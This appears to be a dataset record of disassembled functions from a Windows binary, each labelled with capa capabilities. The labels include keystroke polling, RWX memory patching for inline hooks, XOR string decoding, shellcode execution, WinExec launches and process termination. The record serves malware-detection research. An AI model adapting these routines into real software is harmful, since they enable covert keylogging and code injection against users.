joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100076c0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push dword [0x1016184c]
mov esi, 0x41fe10
movss dword [ebp - 4], xmm1
mov ebx, edx
movss dword [ebp - 8], xmm0
mov edi, ecx
call esi
mov edx, 0x420120
mov ecx, eax
call edx
push 0xff
push 0xff
push 0xff
push 0xff
call esi
mov edx, 0x420040
mov ecx, eax
call edx
push 0
push 0
push 0
push 0
call esi
mov edx, 0x4200b0
mov ecx, eax
call edx
cmp byte [edi], 0
je 0x10007729
xorps xmm0, xmm0
jmp 0x10007731
movsd xmm0, qword [0x100501d0]
cvtpd2ps xmm0, xmm0
sub esp, 0x18
movss dword [esp + 0x14], xmm0
movss xmm0, dword [ebp - 4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x41700000
mov dword [esp + 8], 0x41700000
movss dword [esp + 4], xmm0
movss xmm0, dword [ebp - 8]
movss dword [esp], xmm0
push 0x7b69
call dword [0x10055b60]
add esp, 0x1c
push 0xff
push 0
push 0
push 0
call esi
mov ecx, eax
mov eax, 0x420040
call eax
movss xmm0, dword [ebp - 4]
addss xmm0, dword [0x100501d8]
push 0
push 1
push 0
push 0xe6
movss dword [ebp - 0x10], xmm0
addss xmm0, dword [0x100501b8]
push ebx
cvttss2si esi, xmm0
movss xmm0, dword [ebp - 8]
addss xmm0, dword [0x100501dc]
push esi
movss dword [ebp - 0xc], xmm0
addss xmm0, dword [0x100501b8]
cvttss2si eax, xmm0
push eax
mov eax, 0x41fe10
call eax
mov edx, 0x420150
mov ecx, eax
call edx
push 0xff
push 0
push 0
push 0
mov eax, 0x41fe10
call eax
mov ecx, eax
mov eax, 0x420040
call eax
movss xmm0, dword [ebp - 0xc]
addss xmm0, dword [0x100501c8]
push 0
push 1
push 0
push 0xe6
cvttss2si eax, xmm0
push ebx
push esi
push eax
mov eax, 0x41fe10
call eax
mov ecx, eax
mov esi, 0x420150
call esi
push 0xff
push 0xff
push 0xff
push 0xff
mov eax, 0x41fe10
call eax
mov ecx, eax
mov eax, 0x420040
call eax
push 0
push 1
push 0
push 0xe6
push ebx
movss xmm0, dword [ebp - 0x10]
xorps xmm1, xmm1
addss xmm0, xmm1
mov ebx, 0x41fe10
cvttss2si eax, xmm0
movss xmm0, dword [ebp - 0xc]
addss xmm0, xmm1
push eax
cvttss2si eax, xmm0
push eax
call ebx
mov ecx, eax
call esi
cvttss2si eax, dword [ebp - 4]
push 0xf
push 0xf
push eax
cvttss2si eax, dword [ebp - 8]
push eax
call dword [0x10055b5c]
add esp, 0x10
cmp al, 1
jne 0x100078f1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, dword [0xe8c578]
jne 0x100078f1
push dword [0x10155ce4]
mov byte [0x101617c1], 1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x100078ea
cmp byte [0x10155ce8], 0
jne 0x100078f1
mov byte [0x10155ce8], 1
cmp byte [edi], 0
sete al
mov byte [edi], al
jmp 0x100078f1
mov byte [0x10155ce8], 0
push dword [0xe8c58c]
call ebx
mov ecx, eax
mov eax, 0x420120
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c630
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100551b8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1f27681f
lea ecx, [ebp - 0x18]
mov byte [0x1016174d], 1
call fcn.10011750
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0xc]
mov word [ebp - 0x10], 0
push ecx
xorps xmm0, xmm0
mov byte [ebp - 0xe], 0
push eax
movq qword [ebp - 0x18], xmm0
mov dword [ebp - 0xc], 0x74696e49
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], 0
mov byte [ebp - 8], 0
call eax
mov esi, dword [0x10161840]
lea eax, [ebp - 0x1c]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esi, 0x1b
push eax
push 0x40
push 5
push esi
call ebx
mov edi, 0x10007d10
mov byte [esi], 0xe9
mov eax, edi
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x1c]
push 5
push esi
call ebx
call fcn.1001b770
push 0x400000
push 0
push 0x10161bd0
call fcn.10028c00
add esp, 0xc
push 0
push 0x400000
push 0x10161bd0
push 0x400000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movaps xmm1, xmmword [0x10050220]
xor eax, eax
movaps xmm2, xmmword [0x10050240]
movups xmm0, xmmword [eax + 0x10161bd0]
psubb xmm0, xmm1
movups xmmword [eax + 0x10161bd0], xmm0
movups xmm0, xmmword [eax + 0x10161bd0]
pxor xmm0, xmm2
movups xmmword [eax + 0x10161bd0], xmm0
movups xmm0, xmmword [eax + 0x10161be0]
psubb xmm0, xmm1
movups xmmword [eax + 0x10161be0], xmm0
movups xmm0, xmmword [eax + 0x10161be0]
pxor xmm0, xmm2
movups xmmword [eax + 0x10161be0], xmm0
add eax, 0x20
cmp eax, 0x400000
jb 0x1000c712
mov esi, dword [0x10161840]
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 5
add esi, 0x1b
push esi
call ebx
lea eax, [ebp - 0xc]
mov byte [esi], 0xe9
push eax
push dword [ebp - 0x1c]
sub edi, esi
push 5
sub edi, 5
push esi
mov dword [esi + 1], edi
call ebx
push 0
push ecx
push 0
push 0x1000b650
call fcn.1001f890
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100256b8
mov esp, ebp
pop ebp
ret

Function at 0x1000c7b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [0x10161840]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 0x1b
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x10007d10
mov byte [edi], 0xe9
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push ecx
push 0
push 0x1000b650
call fcn.1001f890
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10011580
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xf0
xor eax, eax
mov dl, byte [edi + eax + 0x79ddc0fb]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1e
jb 0x10011591
pop edi
mov byte [esi + 0x1e], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100115c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x7bd60ae8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x100115d1
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10012e90
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040b16
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x100551b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10025a28
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10021bc7
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10014de0
Capabilities:
Parse pe header
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x100551b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
push 0
push 0
push 3
push 0
push 1
push connect
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp + 0x10]
push eax
mov dword [ebp - 0x44], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10014e33
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x10014e46
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x10014e7b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 0xc
push esi
push dword [ebp - 0x14]
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x10014efb
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x10014ef4
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x10014ef4
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
je 0x10014ec4
mov edx, 0x8664
cmp cx, dx
jne 0x10014ef4
push dword [eax + 0x28]
push dword [eax + 0x34]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToSection]
mov ecx, eax
test ecx, ecx
je 0x10014ef4
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x3c]
push 0
push 0
add eax, dword [ecx + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10014f1c
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 0xc
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
push 0x20
push dword [ebp - 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
je 0x10014ef5
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.100256b8
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100150e0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x100551b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10155f40]
mov ecx, dword [ebp + 0xc]
test eax, eax
js 0x100151ec
cmp eax, 1
jge 0x100151ec
push ebx
push edi
imul edi, eax, 0x214
inc eax
push ecx
push 0x100
mov dword [0x10155f40], eax
add edi, 0x10155d2c
lea ebx, [edi + 4]
mov dword [edi], 1
push ebx
call fcn.1002d3cb
add esp, 0xc
cmp dword [edi], 0
je 0x100151ea
push esi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0xe]
lea esi, [edi + 0x110]
movzx ecx, word [ebp - 0x12]
movzx eax, word [ebp - 0x14]
push edx
push ecx
push eax
push ebx
push str.._s_04d__02d__02d.log
push esi
mov dword [edi + 0x104], edx
mov dword [edi + 0x108], ecx
mov dword [edi + 0x10c], eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x210], eax
pop esi
cmp eax, 0xffffffff
jne 0x100151c6
mov dword [edi], 0
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 8
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x100151ea
push dword [edi + 0x210]
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 8
Function at 0x10015200
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x100551b8]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
test eax, eax
js 0x100153ea
cmp eax, dword [ecx + 0x218]
jge 0x100153ea
imul edi, eax, 0x214
add edi, ecx
cmp dword [edi + 4], 0
je 0x100153ea
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x816]
cmp eax, dword [edi + 0x108]
jne 0x1001527f
movzx eax, word [ebp - 0x81a]
cmp eax, dword [edi + 0x10c]
jne 0x1001527f
movzx eax, word [ebp - 0x81c]
cmp eax, dword [edi + 0x110]
je 0x1001533e
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx edx, word [ebp - 0x816]
lea esi, [edi + 0x114]
movzx ecx, word [ebp - 0x81a]
movzx eax, word [ebp - 0x81c]
push edx
push ecx
push eax
mov dword [edi + 0x110], eax
lea eax, [edi + 8]
push eax
push str.._s_04d__02d__02d.log
push esi
mov dword [edi + 0x108], edx
mov dword [edi + 0x10c], ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x214], eax
cmp eax, 0xffffffff
jne 0x10015309
mov dword [edi + 4], 0
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100256b8
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1001533e
push dword [edi + 0x214]
mov dword [edi + 4], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100256b8
mov esp, ebp
pop ebp
ret
push 0x400
lea eax, [ebp - 0x80c]
push 0
push eax
call fcn.10028c00
add esp, 0xc
lea eax, [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
lea eax, [ebp - 0x80c]
push 0x400
push eax
call fcn.10014460
add esp, 0x14
lea eax, [ebp - 0x40c]
push 0x400
push 0
push eax
call fcn.10028c00
add esp, 0xc
lea eax, [ebp - 0x80c]
push eax
movzx eax, word [ebp - 0x810]
push eax
movzx eax, word [ebp - 0x812]
push eax
movzx eax, word [ebp - 0x814]
push eax
lea eax, [ebp - 0x40c]
push str._02d:_02d:_02d__s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x40c]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100153c4
push 0
lea eax, [ebp - 0x820]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x40c]
push eax
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.100256b8
mov esp, ebp
pop ebp
ret

Function at 0x10015430
Capabilities:
Create thread

Disassembly:
cmp dword [0x101616a0], 0
je 0x1001546d
mov eax, dword [0x10161870]
xorps xmm0, xmm0
push 0x10161ba0
push 0
push 0x10155f44
push 0x10015550
push 0
push 0
mov dword [0x10155f48], eax
movups xmmword [0x10155f50], xmm0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10155f4c], eax
ret 4
Function at 0x10015470
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x10161684], 0
je 0x1001548c
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x10161684]
cmp eax, dword [ecx]
jne 0x100154fd
push esi
mov esi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi*4 + 0x10155f50]
cmp eax, 0x1388
jb 0x100154bc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi*4 + 0x10155f50], eax
mov dword [esi*4 + 0x10155f58], 0
mov eax, dword [0x1016169c]
cmp eax, 5
ja case.default.0x100154c6
jmp dword [eax*4 + 0x10015504]
push 0
jmp 0x100154e3
push 0x19
jmp 0x100154e3
push 0x14
jmp 0x100154e3
push 0xf
jmp 0x100154e3
push 0xa
jmp 0x100154e3
push 5
push esi
call fcn.10015520
test al, al
jne 0x100154fc
xor edx, edx
push 0
lea ecx, [edx + 9]
call fcn.10004e30
add esp, 4
pop esi
pop ebp
ret 4
Function at 0x100158f0
Capabilities:
Create process on windows
Encode data using xor
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x580
mov eax, dword [0x100551b8]
xor eax, esp
mov dword [esp + 0x57c], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x28]
push 0x40
push 0
push eax
call fcn.10028c00
add esp, 0xc
lea eax, [esp + 0x378]
push 0x208
push 0
push eax
call fcn.10028c00
add esp, 0xc
lea eax, [esp + 0x170]
push 0x208
push 0
push eax
call fcn.10028c00
add esp, 0xc
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10015b0a
push 0x104
lea eax, [esp + 0x37c]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x10015b03
push ecx
lea edx, [esp + 0x174]
lea ecx, [esp + 0x37c]
call fcn.1001ddf0
add esp, 4
test al, al
je 0x10015b03
push 0x40
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.10028c00
add esp, 0xc
mov word [esp + 0xc], 0x5325
lea ecx, [esp + 0x378]
mov byte [esp + 0xe], 0
call fcn.1001e010
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x174]
push eax
call fcn.10014cf0
test al, al
jne 0x10015a79
mov edx, 0xdd
xor ecx, ecx
nop
mov al, byte [ecx + 0x1004e848]
xor al, dl
mov byte [esp + ecx + 0x10], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x16
jb 0x10015a00
push edi
lea eax, [esp + 0x14]
mov byte [esp + 0x2a], 0
push eax
lea eax, [esp + 0x70]
push eax
call fcn.10014b60
add esp, 0xc
lea eax, [esp + 0x68]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [esp + 0x6c]
push 0
push eax
call fcn.10028c00
add esp, 0xc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x57c]
xor ecx, esp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x174]
push eax
call fcn.10014fa0
test al, al
jne 0x10015ac0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea edx, [esp + 0x2c]
mov ecx, 2
call fcn.10004e30
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x57c]
xor ecx, esp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 8
push ecx
lea eax, [esp + 0x174]
push eax
call fcn.10005c30
test al, al
jne 0x10015b03
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea edx, [esp + 0x2c]
mov ecx, 5
call fcn.10004e30
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x57c]
xor ecx, esp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x584]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 8
Function at 0x10015b80
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040d80
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x100551b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, dword [ebp + 8]
mov eax, 0xdd67c8a7
mov dword [ebp - 4], 0
or esi, 0xffffffff
mov ecx, dword [0x101619f4]
mov edi, dword [0x101619f0]
sub ecx, edi
imul ecx
add edx, ecx
mov ecx, dword [ebx + 8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, ecx
ja 0x10015c04
push str.invalid_vector_T__subscript
call fcn.10020d7a
mov eax, 0x10015bf0
ret
imul eax, ecx, 0x128
add eax, edi
mov edi, dword [ebx + 0xc]
cmp dword [eax], edi
jne 0x10015c4b
lea ecx, [ebx + 0x10]
add eax, 0x24
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10015c40
test dl, dl
je 0x10015c3c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10015c40
add eax, 2
add ecx, 2
test dl, dl
jne 0x10015c20
xor eax, eax
jmp 0x10015c45
sbb eax, eax
or eax, 1
test eax, eax
cmove esi, dword [ebx + 8]
mov dword [ebp - 4], 0xffffffff
cmp esi, 0xffffffff
je 0x10015cee
mov al, byte [ebx + 5]
test al, al
jne 0x10015c8a
push esi
call fcn.10016780
lea ecx, [eax + 0x24]
call fcn.10015b30
push eax
call fcn.10016270
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp al, 1
jne 0x10015ca8
push edi
call fcn.10015d10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp al, 2
jne 0x10015ccf
push esi
call fcn.10016780
add eax, 0x24
push eax
call fcn.10016440
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp al, 3
jne 0x10015cee
push edi
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x10015cee
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10015d10
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10040dab
mov eax, dword fs:[0]
push eax
sub esp, 0xc30
mov eax, dword [0x100551b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xc3c], 0
mov dword [ebp - 0xc38], 0
mov dword [ebp - 0xc34], 0
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0xc3c]
mov dword [ebp - 4], 0
call fcn.1001f6e0
mov word [ebp - 0xc30], 0xac2
mov byte [ebp - 0xc2e], 0xc
call fcn.1002b814
and eax, 0x800000ff
jns 0x10015d94
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 0xc38]
xor edi, edi
mov byte [ebp - 0xc2d], al
mov eax, dword [ebp - 0xc3c]
sub ebx, eax
sar ebx, 2
mov byte [ebp - 0xc2c], 0x17
mov dword [ebp - 0xc28], ebx
test ebx, ebx
je 0x10015e7e
lea esi, [ebp - 0x724]
jmp 0x10015dd6
mov eax, dword [ebp - 0xc3c]
cmp edi, 0x14
jge 0x10015e7e
push 0x104
lea ecx, [ebp - 0x118]
push ecx
push dword [eax + edi*4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x104
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 0xc3c]
push dword [eax + edi*4]
call dword [sym.imp.USER32.dll_GetClassNameA]
movups xmm0, xmmword [ebp - 0x118]
inc edi
movups xmmword [esi - 0x500], xmm0
movups xmm0, xmmword [ebp - 0x108]
movups xmmword [esi - 0x4f0], xmm0
movups xmm0, xmmword [ebp - 0xf8]
movups xmmword [esi - 0x4e0], xmm0
movups xmm0, xmmword [ebp - 0xe8]
movups xmmword [esi - 0x4d0], xmm0
movups xmm0, xmmword [ebp - 0x220]
movups xmmword [esi], xmm0
movups xmm0, xmmword [ebp - 0x210]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [ebp - 0x200]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [ebp - 0x1f0]
movups xmmword [esi + 0x30], xmm0
add esi, 0x40
cmp edi, ebx
jb 0x10015dd0
push 0xa0c
lea eax, [ebp - 0xc30]
push eax
call fcn.10003f10
mov ecx, dword [ebp - 0xc3c]
test ecx, ecx
je 0x10015eab
mov eax, dword [ebp - 0xc34]
sub eax, ecx
sar eax, 2
push eax
push ecx
call fcn.100179c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100256b8
mov esp, ebp
pop ebp
ret 4